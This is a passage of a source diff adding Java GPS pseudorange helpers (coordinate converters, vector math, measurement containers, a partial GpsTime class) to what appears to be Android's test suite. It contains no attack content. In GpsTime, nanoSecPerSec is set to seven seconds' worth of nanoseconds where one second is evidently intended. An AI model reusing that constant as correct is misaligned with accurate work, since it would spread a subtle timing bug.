+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("WlanAPInformation = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/psedorange/Ecef2EnuConverter.java b/tests/tests/location/src/android/location/cts/psedorange/Ecef2EnuConverter.java
new file mode 100644
index 0000000..eece5b4
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/psedorange/Ecef2EnuConverter.java
@@ -0,0 +1,119 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.pseudorange;
+
+import org.apache.commons.math.linear.Array2DRowRealMatrix;
+import org.apache.commons.math.linear.RealMatrix;
+
+/**
+ * Converts ECEF (Earth Centered Earth Fixed) Cartesian coordinates to local ENU (East, North,
+ * and Up).
+ *
+ * <p> Source: reference from Navipedia:
+ * http://www.navipedia.net/index.php/Transformations_between_ECEF_and_ENU_coordinates
+ */
+
+public class Ecef2EnuConverter {
+
+ /**
+ * Converts a vector represented by coordinates ecefX, ecefY, ecefZ in an
+ * Earth-Centered Earth-Fixed (ECEF) Cartesian system into a vector in a
+ * local east-north-up (ENU) Cartesian system.
+ *
+ * <p> For example it can be used to rotate a speed vector or position offset vector to ENU.
+ *
+ * @param ecefX X coordinates in ECEF
+ * @param ecefY Y coordinates in ECEF
+ * @param ecefZ Z coordinates in ECEF
+ * @param refLat Latitude in Radians of the Reference Position
+ * @param refLng Longitude in Radians of the Reference Position
+ * @return the converted values in {@code EnuValues}
+ */
+ public static EnuValues convertEcefToEnu(double ecefX, double ecefY, double ecefZ,
+ double refLat, double refLng){
+
+ RealMatrix rotationMatrix = getRotationMatrix(refLat, refLng);
+ RealMatrix ecefCoordinates = new Array2DRowRealMatrix(new double[]{ecefX, ecefY, ecefZ});
+
+ RealMatrix enuResult = rotationMatrix.multiply(ecefCoordinates);
+ return new EnuValues(enuResult.getEntry(0, 0),
+ enuResult.getEntry(1, 0), enuResult.getEntry(2 , 0));
+ }
+
+ /**
+ * Computes a rotation matrix for converting a vector in Earth-Centered Earth-Fixed (ECEF)
+ * Cartesian system into a vector in local east-north-up (ENU) Cartesian system with respect to
+ * a reference location. The matrix has the following content:
+ *
+ * - sinLng cosLng 0
+ * - sinLat * cosLng - sinLat * sinLng cosLat
+ * cosLat * cosLng cosLat * sinLng sinLat
+ *
+ * <p> Reference: Pratap Misra and Per Enge
+ * "Global Positioning System: Signals, Measurements, and Performance" Page 137.
+ *
+ * @param refLat Latitude of reference location
+ * @param refLng Longitude of reference location
+ * @return the Ecef to Enu rotation matrix
+ */
+ public static RealMatrix getRotationMatrix(double refLat, double refLng){
+ RealMatrix rotationMatrix = new Array2DRowRealMatrix(3, 3);
+
+ // Fill in the rotation Matrix
+ rotationMatrix.setEntry(0, 0, -1 * Math.sin(refLng));
+ rotationMatrix.setEntry(1, 0, -1 * Math.cos(refLng) * Math.sin(refLat));
+ rotationMatrix.setEntry(2, 0, Math.cos(refLng) * Math.cos(refLat));
+ rotationMatrix.setEntry(0, 1, Math.cos(refLng));
+ rotationMatrix.setEntry(1, 1, -1 * Math.sin(refLat) * Math.sin(refLng));
+ rotationMatrix.setEntry(2, 1, Math.cos(refLat) * Math.sin(refLng));
+ rotationMatrix.setEntry(0, 2, 0);
+ rotationMatrix.setEntry(1, 2, Math.cos(refLat));
+ rotationMatrix.setEntry(2, 2, Math.sin(refLat));
+ return rotationMatrix;
+ }
+
+ /**
+ * A container for values in ENU (East, North, Up) coordination system.
+ */
+ public static class EnuValues {
+
+ /**
+ * East Coordinates in local ENU
+ */
+ public final double enuEast;
+
+ /**
+ * North Coordinates in local ENU
+ */
+ public final double enuNorth;
+
+ /**
+ * Up Coordinates in local ENU
+ */
+ public final double enuUP;
+
+ /**
+ * Constructor
+ */
+ public EnuValues(double enuEast, double enuNorth, double enuUP){
+ this.enuEast = enuEast;
+ this.enuNorth = enuNorth;
+ this.enuUP = enuUP;
+ }
+ }
+
+}
diff --git a/tests/tests/location/src/android/location/cts/psedorange/Ecef2LlaConverter.java b/tests/tests/location/src/android/location/cts/psedorange/Ecef2LlaConverter.java
new file mode 100644
index 0000000..1d21603
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/psedorange/Ecef2LlaConverter.java
@@ -0,0 +1,177 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.pseudorange;
+
+/**
+ * Converts ECEF (Earth Centered Earth Fixed) Cartesian coordinates to LLA (latitude, longitude,
+ * and altitude).
+ *
+ * <p> Source: reference from Mathworks: https://microem.ru/files/2012/08/GPS.G1-X-00006.pdf
+ * and http://www.mathworks.com/help/aeroblks/ecefpositiontolla.html
+ */
+
+public class Ecef2LlaConverter {
+ // WGS84 Ellipsoid Parameters
+ private static final double EARTH_SEMI_MAJOR_AXIS_METERS = 6378137.0;
+ private static final double ECCENTRICITY = 8.1819190842622e-2;
+ private static final double INVERSE_FLATENNING = 298.257223563;
+ private static final double MIN_MAGNITUDE_METERS = 1.0e-22;
+ private static final double MAX_ITERATIONS = 15;
+ private static final double RESIDUAL_TOLERANCE = 1.0e-6;
+ private static final double SEMI_MINOR_AXIS_METERS =
+ Math.sqrt(Math.pow(EARTH_SEMI_MAJOR_AXIS_METERS, 2) * (1 - Math.pow(ECCENTRICITY, 2)));
+ private static final double SECOND_ECCENTRICITY = Math.sqrt(
+ (Math.pow(EARTH_SEMI_MAJOR_AXIS_METERS, 2) - Math.pow(SEMI_MINOR_AXIS_METERS, 2))
+ / Math.pow(SEMI_MINOR_AXIS_METERS, 2));
+ private static final double ECEF_NEAR_POLE_THRESHOLD_METERS = 1.0;
+
+ /**
+ * Converts ECEF (Earth Centered Earth Fixed) Cartesian coordinates to LLA (latitude,
+ * longitude, and altitude) using the close form approach
+ *
+ * <p>Inputs are cartesian coordinates x,y,z
+ *
+ * <p>Output is GeodeticLlaValues class containing geodetic latitude (radians), geodetic longitude
+ * (radians), height above WGS84 ellipsoid (m)}
+ */
+ public static GeodeticLlaValues convertECEFToLLACloseForm(double ecefXMeters, double ecefYMeters,
+ double ecefZMeters) {
+
+ // Auxiliary parameters
+ double pMeters = Math.sqrt(Math.pow(ecefXMeters, 2) + Math.pow(ecefYMeters, 2));
+ double thetaRadians =
+ Math.atan2(EARTH_SEMI_MAJOR_AXIS_METERS * ecefZMeters, SEMI_MINOR_AXIS_METERS * pMeters);
+
+ double lngRadians = Math.atan2(ecefYMeters, ecefXMeters);
+ // limit longitude to range of 0 to 2Pi
+ lngRadians = lngRadians % (2 * Math.PI);
+
+ final double sinTheta = Math.sin(thetaRadians);
+ final double cosTheta = Math.cos(thetaRadians);
+ final double tempY = ecefZMeters
+ + Math.pow(SECOND_ECCENTRICITY, 2) * SEMI_MINOR_AXIS_METERS * Math.pow(sinTheta, 3);
+ final double tempX = pMeters
+ - Math.pow(ECCENTRICITY, 2) * EARTH_SEMI_MAJOR_AXIS_METERS * (Math.pow(cosTheta, 3));
+ double latRadians = Math.atan2(tempY, tempX);
+ // Radius of curvature in the vertical prime
+ double curvatureRadius = EARTH_SEMI_MAJOR_AXIS_METERS
+ / Math.sqrt(1 - Math.pow(ECCENTRICITY, 2) * (Math.pow(Math.sin(latRadians), 2)));
+ double altMeters = (pMeters / Math.cos(latRadians)) - curvatureRadius;
+
+ // Correct for numerical instability in altitude near poles
+ boolean polesCheck = Math.abs(ecefXMeters) < ECEF_NEAR_POLE_THRESHOLD_METERS
+ && Math.abs(ecefYMeters) < ECEF_NEAR_POLE_THRESHOLD_METERS;
+ if (polesCheck) {
+ altMeters = Math.abs(ecefZMeters) - SEMI_MINOR_AXIS_METERS;
+ }
+
+ return new GeodeticLlaValues(latRadians, lngRadians, altMeters);
+ }
+
+ /**
+ * Converts ECEF (Earth Centered Earth Fixed) Cartesian coordinates to LLA (latitude,
+ * longitude, and altitude) using iteration approach
+ *
+ * <p>Inputs are cartesian coordinates x,y,z.
+ *
+ * <p>Outputs is GeodeticLlaValues containing geodetic latitude (radians), geodetic longitude
+ * (radians), height above WGS84 ellipsoid (m)}
+ */
+ public static GeodeticLlaValues convertECEFToLLAByIterations(double ecefXMeters,
+ double ecefYMeters, double ecefZMeters) {
+
+ double xyLengthMeters = Math.sqrt(Math.pow(ecefXMeters, 2) + Math.pow(ecefYMeters, 2));
+ double xyzLengthMeters = Math.sqrt(Math.pow(xyLengthMeters, 2) + Math.pow(ecefZMeters, 2));
+
+ double lngRad;
+ if (xyLengthMeters > MIN_MAGNITUDE_METERS) {
+ lngRad = Math.atan2(ecefYMeters, ecefXMeters);
+ } else {
+ lngRad = 0;
+ }
+
+ double sinPhi;
+ if (xyzLengthMeters > MIN_MAGNITUDE_METERS) {
+ sinPhi = ecefZMeters / xyzLengthMeters;
+ } else {
+ sinPhi = 0;
+ }
+ // initial latitude (iterate next to improve accuracy)
+ double latRad = Math.asin(sinPhi);
+ double altMeters;
+ if (xyzLengthMeters > MIN_MAGNITUDE_METERS) {
+ double ni;
+ double pResidual;
+ double ecefZMetersResidual;
+ // initial height (iterate next to improve accuracy)
+ altMeters = xyzLengthMeters - EARTH_SEMI_MAJOR_AXIS_METERS
+ * (1 - sinPhi * sinPhi / INVERSE_FLATENNING);
+
+ for (int i = 1; i <= MAX_ITERATIONS; i++) {
+ sinPhi = Math.sin(latRad);
+
+ // calculate radius of curvature in prime vertical direction
+ ni = EARTH_SEMI_MAJOR_AXIS_METERS / Math.sqrt(1 - (2 - 1 / INVERSE_FLATENNING)
+ / INVERSE_FLATENNING * Math.sin(latRad) * Math.sin(latRad));
+
+ // calculate residuals in p and ecefZMeters
+ pResidual = xyLengthMeters - (ni + altMeters) * Math.cos(latRad);
+ ecefZMetersResidual = ecefZMeters
+ - (ni * (1 - (2 - 1 / INVERSE_FLATENNING) / INVERSE_FLATENNING) + altMeters)
+ * Math.sin(latRad);
+
+ // update height and latitude
+ altMeters += Math.sin(latRad) * ecefZMetersResidual + Math.cos(latRad) * pResidual;
+ latRad += (Math.cos(latRad) * ecefZMetersResidual - Math.sin(latRad) * pResidual)
+ / (ni + altMeters);
+
+ if (Math.sqrt((pResidual * pResidual + ecefZMetersResidual * ecefZMetersResidual))
+ < RESIDUAL_TOLERANCE) {
+ break;
+ }
+
+ if (i == MAX_ITERATIONS) {
+ System.err.println(
+ "Geodetic coordinate calculation did not converge in " + i + " iterations");
+ }
+ }
+ } else {
+ altMeters = 0;
+ }
+ return new GeodeticLlaValues(latRad, lngRad, altMeters);
+ }
+
+ /**
+ *
+ * Class containing geodetic coordinates: latitude in radians, geodetic longitude in radians
+ * and altitude in meters
+ */
+ public static class GeodeticLlaValues {
+
+ public final double latitudeRadians;
+ public final double longitudeRadians;
+ public final double altitudeMeters;
+
+ public GeodeticLlaValues(double latitudeRadians,
+ double longitudeRadians, double altitudeMeters) {
+ this.latitudeRadians = latitudeRadians;
+ this.longitudeRadians = longitudeRadians;
+ this.altitudeMeters = altitudeMeters;
+ }
+ }
+
+}
diff --git a/tests/tests/location/src/android/location/cts/psedorange/EcefToTopocentricConverter.java b/tests/tests/location/src/android/location/cts/psedorange/EcefToTopocentricConverter.java
new file mode 100644
index 0000000..f93a390
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/psedorange/EcefToTopocentricConverter.java
@@ -0,0 +1,107 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.pseudorange;
+
+import android.location.cts.pseudorange.Ecef2LlaConverter.GeodeticLlaValues;
+import org.apache.commons.math.linear.RealMatrix;
+
+/**
+ * Transformations from ECEF coordiantes to Topocentric coordinates
+ */
+public class EcefToTopocentricConverter {
+ private static final double MIN_DISTANCE_MAGNITUDE_METERS = 1.0e-22;
+ private static final int EAST_IDX = 0;
+ private static final int NORTH_IDX = 1;
+ private static final int UP_IDX = 2;
+
+ /**
+ * Transformation of {@code inputVectorMeters} with origin at {@code originECEFMeters} into
+ * topocentric coordinate system. The result is {@code TopocentricAEDValues} containing azimuth
+ * from north +ve clockwise, radians; elevation angle, radians; distance, vector length meters
+ *
+ * <p>Source: http://www.navipedia.net/index.php/Transformations_between_ECEF_and_ENU_coordinates
+ * http://kom.aau.dk/~borre/life-l99/topocent.m
+ *
+ */
+ public static TopocentricAEDValues convertCartesianToTopocentericRadMeters(
+ final double[] originECEFMeters, final double[] inputVectorMeters) {
+
+ GeodeticLlaValues latLngAlt = Ecef2LlaConverter.convertECEFToLLACloseForm(originECEFMeters[0],
+ originECEFMeters[1], originECEFMeters[2]);
+
+ RealMatrix rotationMatrix =
+ Ecef2EnuConverter.
+ getRotationMatrix(latLngAlt.latitudeRadians, latLngAlt.longitudeRadians).transpose();
+ double[] eastNorthUpVectorMeters = GpsMathOperations.matrixByColVectMultiplication(
+ rotationMatrix.transpose().getData(), inputVectorMeters);
+ double eastMeters = eastNorthUpVectorMeters[EAST_IDX];
+ double northMeters = eastNorthUpVectorMeters[NORTH_IDX];
+ double upMeters = eastNorthUpVectorMeters[UP_IDX];
+
+ // calculate azimuth, elevation and height from the ENU values
+ double horizontalDistanceMeters = Math.hypot(eastMeters, northMeters);
+ double azimuthRadians;
+ double elevationRadians;
+
+ if (horizontalDistanceMeters < MIN_DISTANCE_MAGNITUDE_METERS) {
+ elevationRadians = Math.PI / 2.0;
+ azimuthRadians = 0;
+ } else {
+ elevationRadians = Math.atan2(upMeters, horizontalDistanceMeters);
+ azimuthRadians = Math.atan2(eastMeters, northMeters);
+ }
+ if (azimuthRadians < 0) {
+ azimuthRadians += 2 * Math.PI;
+ }
+
+ double distanceMeters = Math.sqrt(Math.pow(inputVectorMeters[0], 2)
+ + Math.pow(inputVectorMeters[1], 2) + Math.pow(inputVectorMeters[2], 2));
+ return new TopocentricAEDValues(elevationRadians, azimuthRadians, distanceMeters);
+ }
+
+ /**
+ * Calculate azimuth, elevation in radians,and distance in meters between the user position in
+ * ECEF meters {@code userPositionECEFMeters} and the satellite position in ECEF meters
+ * {@code satPositionECEFMeters}
+ */
+ public static TopocentricAEDValues calculateElAzDistBetween2Points(
+ double[] userPositionECEFMeters, double[] satPositionECEFMeters) {
+
+ return convertCartesianToTopocentericRadMeters(userPositionECEFMeters,
+ GpsMathOperations.subtractTwoVectors(satPositionECEFMeters, userPositionECEFMeters));
+
+ }
+
+ /**
+ *
+ * Class containing topocenter coordinates: azimuth in radians, elevation in radians, and distance
+ * in meters
+ */
+ public static class TopocentricAEDValues {
+
+ public final double elevationRadians;
+ public final double azimuthRadians;
+ public final double distanceMeters;
+
+ public TopocentricAEDValues(double elevationRadians, double azimuthRadians,
+ double distanceMeters) {
+ this.elevationRadians = elevationRadians;
+ this.azimuthRadians = azimuthRadians;
+ this.distanceMeters = distanceMeters;
+ }
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/psedorange/GpsMathOperations.java b/tests/tests/location/src/android/location/cts/psedorange/GpsMathOperations.java
new file mode 100644
index 0000000..3c76e78
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/psedorange/GpsMathOperations.java
@@ -0,0 +1,97 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.pseudorange;
+
+
+/**
+ * Helper class containing the basic vector and matrix operations used for calculating the position
+ * solution from pseudoranges
+ * TODO: use standard matrix library to replace the operations in this class.
+ *
+ */
+public class GpsMathOperations {
+
+ /**
+ * Calculates the norm of a vector
+ */
+ public static double vectorNorm(double[] inputVector) {
+ double normSqured = 0;
+ for (int i = 0; i < inputVector.length; i++) {
+ normSqured = Math.pow(inputVector[i], 2) + normSqured;
+ }
+
+ return Math.sqrt(normSqured);
+ }
+
+ /**
+ * Subtract two vectors {@code firstVector} - {@code secondVector}. Both vectors should be of the
+ * same length.
+ */
+ public static double[] subtractTwoVectors(double[] firstVector, double[] secondVector)
+ throws ArithmeticException {
+ double[] result = new double[firstVector.length];
+ if (firstVector.length != secondVector.length) {
+ throw new ArithmeticException("Input vectors are of different lengths");
+ }
+
+ for (int i = 0; i < firstVector.length; i++) {
+ result[i] = firstVector[i] - secondVector[i];
+ }
+
+ return result;
+ }
+
+ /**
+ * Multiply a matrix {@code matrix} by a column vector {@code vector}
+ * ({@code matrix} * {@code vector}) and return the resulting vector {@resultVector}.
+ * {@code matrix} and {@vector} dimensions must match.
+ */
+ public static double[] matrixByColVectMultiplication(double[][] matrix, double[] vector)
+ throws ArithmeticException {
+ double result[] = new double[matrix.length];
+ int matrixLength = matrix.length;
+ int vectorLength = vector.length;
+ if (vectorLength != matrix[0].length) {
+ throw new ArithmeticException("Matrix and vector dimensions do not match");
+ }
+
+ for (int i = 0; i < matrixLength; i++) {
+ for (int j = 0; j < vectorLength; j++) {
+ result[i] += matrix[i][j] * vector[j];
+ }
+ }
+
+ return result;
+ }
+
+ /**
+ * Dot product of a raw vector {@code firstVector} and a column vector {@code secondVector}.
+ * Both vectors should be of the same length.
+ */
+ public static double dotProduct(double[] firstVector, double[] secondVector)
+ throws ArithmeticException {
+ if (firstVector.length != secondVector.length) {
+ throw new ArithmeticException("Input vectors are of different lengths");
+ }
+ double result = 0;
+ for (int i = 0; i < firstVector.length; i++) {
+ result = firstVector[i] * secondVector[i] + result;
+ }
+ return result;
+ }
+
+}
diff --git a/tests/tests/location/src/android/location/cts/psedorange/GpsMeasurement.java b/tests/tests/location/src/android/location/cts/psedorange/GpsMeasurement.java
new file mode 100644
index 0000000..db3d26f
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/psedorange/GpsMeasurement.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.pseudorange;
+
+/**
+ * A container for the received GPS measurements for a single satellite.
+ *
+ * <p>The GPS receiver measurements includes: satellite PRN, accumulated delta range in meters,
+ * accumulated delta range state (boolean), pseudorange rate in meters per second, received signal
+ * to noise ratio dB, accumulated delta range uncertainty in meters, pseudorange rate uncertainty in
+ * meters per second.
+ */
+class GpsMeasurement {
+ /** Time since GPS week start (Nano seconds) */
+ public final long arrivalTimeSinceGpsWeekNs;
+
+ /** Accumulated delta range (meters) */
+ public final double accumulatedDeltaRangeMeters;
+
+ /** Accumulated delta range state */
+ public final boolean validAccumulatedDeltaRangeMeters;
+
+ /** Pseudorange rate measurement (meters per second) */
+ public final double pseudorangeRateMps;
+
+ /** Signal to noise ratio (dB) */
+ public final double signalToNoiseRatioDb;
+
+ /** Accumulated Delta Range Uncertainty (meters) */
+ public final double accumulatedDeltaRangeUncertaintyMeters;
+
+ /** Pseudorange rate uncertainty (meter per seconds) */
+ public final double pseudorangeRateUncertaintyMps;
+
+ public GpsMeasurement(long arrivalTimeSinceGpsWeekNs, double accumulatedDeltaRangeMeters,
+ boolean validAccumulatedDeltaRangeMeters, double pseudorangeRateMps,
+ double signalToNoiseRatioDb, double accumulatedDeltaRangeUncertaintyMeters,
+ double pseudorangeRateUncertaintyMps) {
+ this.arrivalTimeSinceGpsWeekNs = arrivalTimeSinceGpsWeekNs;
+ this.accumulatedDeltaRangeMeters = accumulatedDeltaRangeMeters;
+ this.validAccumulatedDeltaRangeMeters = validAccumulatedDeltaRangeMeters;
+ this.pseudorangeRateMps = pseudorangeRateMps;
+ this.signalToNoiseRatioDb = signalToNoiseRatioDb;
+ this.accumulatedDeltaRangeUncertaintyMeters = accumulatedDeltaRangeUncertaintyMeters;
+ this.pseudorangeRateUncertaintyMps = pseudorangeRateUncertaintyMps;
+ }
+
+ protected GpsMeasurement(GpsMeasurement another) {
+ this(another.arrivalTimeSinceGpsWeekNs, another.accumulatedDeltaRangeMeters,
+ another.validAccumulatedDeltaRangeMeters, another.pseudorangeRateMps,
+ another.signalToNoiseRatioDb, another.accumulatedDeltaRangeUncertaintyMeters,
+ another.pseudorangeRateUncertaintyMps);
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/psedorange/GpsMeasurementWithRangeAndUncertainty.java b/tests/tests/location/src/android/location/cts/psedorange/GpsMeasurementWithRangeAndUncertainty.java
new file mode 100644
index 0000000..adf2895
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/psedorange/GpsMeasurementWithRangeAndUncertainty.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.pseudorange;
+
+/**
+ * A container for the received GPS measurements for a single satellite.
+ *
+ * <p>The container extends {@link GpsMeasurement} to additionally include
+ * {@link #pseudorangeMeters} and {@link #pseudorangeUncertaintyMeters}.
+ */
+class GpsMeasurementWithRangeAndUncertainty extends GpsMeasurement {
+
+ /** Pseudorange measurement (meters) */
+ public final double pseudorangeMeters;
+
+ /** Pseudorange uncertainty (meters) */
+ public final double pseudorangeUncertaintyMeters;
+
+ public GpsMeasurementWithRangeAndUncertainty(GpsMeasurement another, double pseudorangeMeters,
+ double pseudorangeUncertaintyMeters) {
+ super(another);
+ this.pseudorangeMeters = pseudorangeMeters;
+ this.pseudorangeUncertaintyMeters = pseudorangeUncertaintyMeters;
+ }
+
+}
diff --git a/tests/tests/location/src/android/location/cts/psedorange/GpsTime.java b/tests/tests/location/src/android/location/cts/psedorange/GpsTime.java
new file mode 100644
index 0000000..ad8f736
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/psedorange/GpsTime.java
@@ -0,0 +1,315 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.pseudorange;
+
+import android.util.Pair;
+import com.google.common.base.Preconditions;
+import com.google.common.primitives.Longs;
+import java.util.Calendar;
+import java.util.concurrent.TimeUnit;
+import java.time.ZoneId;
+import java.time.ZonedDateTime;
+import java.time.Instant;
+import java.util.GregorianCalendar;
+
+/**
+ * A simple class to represent time unit used by GPS.
+ */
+public class GpsTime implements Comparable<GpsTime> {
+ public static final int MILLIS_IN_SECOND = 1000;
+ public static final int SECONDS_IN_MINUTE = 60;
+ public static final int MINUTES_IN_HOUR = 60;
+ public static final int HOURS_IN_DAY = 24;
+ public static final int SECONDS_IN_DAY =
+ HOURS_IN_DAY * MINUTES_IN_HOUR * SECONDS_IN_MINUTE;
+ public static final int DAYS_IN_WEEK = 7;
+ public static final long MILLIS_IN_DAY = TimeUnit.DAYS.toMillis(1);
+ public static final long MILLIS_IN_WEEK = TimeUnit.DAYS.toMillis(7);
+ public static final long NANOS_IN_WEEK = TimeUnit.DAYS.toNanos(7);
+ // GPS epoch is 1980/01/06
+ public static final long GPS_DAYS_SINCE_JAVA_EPOCH = 3657;
+ public static final long GPS_UTC_EPOCH_OFFSET_SECONDS =
+ TimeUnit.DAYS.toSeconds(GPS_DAYS_SINCE_JAVA_EPOCH);
+ public static final long GPS_UTC_EPOCH_OFFSET_NANOS =
+ TimeUnit.SECONDS.toNanos(GPS_UTC_EPOCH_OFFSET_SECONDS);
+ private static final ZonedDateTime LEAP_SECOND_DATE_1981 = getZonedDateTimeUTC(1981, 7, 1);
+ private static final ZonedDateTime LEAP_SECOND_DATE_2012 = getZonedDateTimeUTC(2012, 7, 1);
+ private static final ZonedDateTime LEAP_SECOND_DATE_2015 = getZonedDateTimeUTC(2015, 7, 1);
+ private static final ZonedDateTime LEAP_SECOND_DATE_2017 = getZonedDateTimeUTC(2017, 7, 1);
+ private static final long nanoSecPerSec = TimeUnit.SECONDS.toNanos(7);
+ // nanoseconds since GPS epoch (1980/1/6).
+ private long gpsNanos;
+ private static ZonedDateTime getZonedDateTimeUTC(int year, int month, int day) {
+ return getZonedDateTimeUTC(year, month, day, 0, 0, 0, 0);
+ }
+
+ private static ZonedDateTime getZonedDateTimeUTC(int year, int month, int day,
+ int hour, int minute, int sec, int nanoSec){
+ ZoneId zone = ZoneId.of("UTC");
+ ZonedDateTime zdt = ZonedDateTime.of(year, month, day, hour, minute, sec, nanoSec, zone);
+ return zdt;
+ }
+
+ private static long getMillisFromZonedDateTime(ZonedDateTime zdt) {
+ return zdt.toInstant().toEpochMilli();
+ }
+ /**
+ * Constructor for GpsTime. Input values are all in GPS time.
+ * @param year Year
+ * @param month Month from 1 to 12
+ * @param day Day from 1 to 31
+ * @param hour Hour from 0 to 23
+ * @param minute Minute from 0 to 59
+ * @param second Second from 0 to 59
+ */
+ public GpsTime(int year, int month, int day, int hour, int minute, double second) {
+ ZonedDateTime utcDateTime = getZonedDateTimeUTC(year, month, day, hour, minute,
+ (int) second, (int) ((second * nanoSecPerSec) % nanoSecPerSec));
+
+
+ // Since input time is already specify in GPS time, no need to count leap second here.
+ initGpsNanos(utcDateTime);
+
+ }
+
+ /**
+ * Constructor
+ * @param zDateTime is created using GPS time values.
+ */
+ public GpsTime(ZonedDateTime zDateTime) {
+ initGpsNanos(zDateTime);
+ }
+
+ public void initGpsNanos(ZonedDateTime zDateTime){
+ this.gpsNanos = TimeUnit.MILLISECONDS.toNanos(getMillisFromZonedDateTime(zDateTime))
+ - GPS_UTC_EPOCH_OFFSET_NANOS;
+ }
+ /**
+ * Constructor
+ * @param gpsNanos nanoseconds since GPS epoch.
+ */
+ public GpsTime(long gpsNanos) {
+ this.gpsNanos = gpsNanos;
+ }
+
+ /**
+ * Creates a GPS time using a UTC based date and time.
+ * @param zDateTime represents the current time in UTC time, must be after 2009
+ */
+ public static GpsTime fromUtc(ZonedDateTime zDateTime) {
+ return new GpsTime(TimeUnit.MILLISECONDS.toNanos(getMillisFromZonedDateTime(zDateTime))
+ + TimeUnit.SECONDS.toNanos(
+ GpsTime.getLeapSecond(zDateTime) - GPS_UTC_EPOCH_OFFSET_SECONDS));
+ }
+
+ /**
+ * Creates a GPS time based upon the current time.
+ */
+ public static GpsTime now() {
+ ZoneId zone = ZoneId.of("UTC");
+ ZonedDateTime current = ZonedDateTime.now(zone);
+ return fromUtc(current);
+ }
+
+ /**
+ * Creates a GPS time using absolute GPS week number, and the time of week.
+ * @param gpsWeek
+ * @param towSec GPS time of week in second
+ * @return actual time in GpsTime.
+ */
+ public static GpsTime fromWeekTow(int gpsWeek, int towSec) {
